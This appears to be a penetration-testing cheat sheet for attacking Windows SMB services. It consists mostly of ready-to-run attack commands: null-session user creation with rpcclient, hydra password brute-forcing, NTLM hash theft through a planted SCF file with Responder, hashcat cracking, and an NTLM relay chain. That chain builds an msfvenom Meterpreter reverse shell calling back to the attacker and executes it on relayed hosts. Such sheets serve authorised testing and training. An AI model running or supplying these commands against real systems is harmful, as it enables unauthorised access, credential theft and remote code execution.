SMB (139, 445)
Basic Commands
SMBMap
SMBClient
RPC
# NULL session
rpcclient -U -N "" 10.10.10.10
enumalsgroups builtin
# create user
createdomuser user1
# set new password
setuserinfo2 user1 24 'Pass123!'
Metasploit
$ msfconsole -q
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.0.24
msf6 auxiliary(scanner/smb/smb_version) > run
Operations
sudo nmap -sV -p 139,445 -script smb* 10.10.10.10
impacket-smbserver -smb2support share . -username test -password tes
Other
/opt/enum4linux-ng/enum4linux-ng.py 172.16.10.3 -A
Attacks
Passwords
# BFA with wordlists
hydra -L <user-list> -P <pass-list> smb://<target-ip>
# BFA a target user
hydra -l <username> -P <pass-list> smb://<target-ip>
Hashes
All described methods (SCF, LNK, SC) require WRITE
access to a share/directory:
If
WRITE
access to a share is available, NetExec modules can be used for automation.If
WRITE
access is only available within aREADABLE
share, the process must be done manually.
For stealing the hash, the user must only browse the share, not interact with the file.
Share permissions can be configured to only allow folders to be created, not files; nxc
will flag WRITE
access in those cases.
Requires WRITE
access to the Users
share!
The Shell Command File (SCF) is a Windows file format used to define simple Explorer shell commands — kind of like shortcuts, but more primitive.
# Create the SCF file
nxc smb <target-ip> -u 'guest' -p '' -M scuffy -o NAME=README SERVER=<smb-server-ip>
Monitor the traffic (MSF's auxiliary/server/capture/smb
can also be used):
sudo responder -I tun0
Clean up:
nxc smb <target-ip> -u 'guest' -p '' -M scuffy -o NAME=README SERVER=<smb-server-ip> CLEANUP=True
If a share is locally mounted and WRITE
access is available for the SMB/Users/WritableDir
folder, but not for the Users
share, we can create an SCF file:
[Shell]
Command=2
IconFile=\\10.10.10.10\share\test.io
[Taskbar]
Command=ToggleDesktop
Listen:
sudo responder -I tun0
Transfer the SCF file to the writable directory:
sudo cp example.scf SMB/Users/WritableDir
Once a hash is obtained it can be cracked or relayed.
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou
NTLM Relay
Relay for gaining RCE with a Meterpreter listener:
# Enumerate the target hosts
nxc smb 172.16.10.0/24 --gen-relay-list relay.txt
# Create a reverse shell payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker-ip> LPORT=<attacker-port> -f exe > shell.exe
# Start the SMB server
sudo impacket-ntlmrelayx -tf relay.txt -e ./shell.exe
# Start the listener
$ sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST <attacker-ip>; set
LPORT 4444; exploit -j"
# Migrate
meterpreter > ps
meterpreter > migrate <PID>
Resources
Last updated
Was this helpful?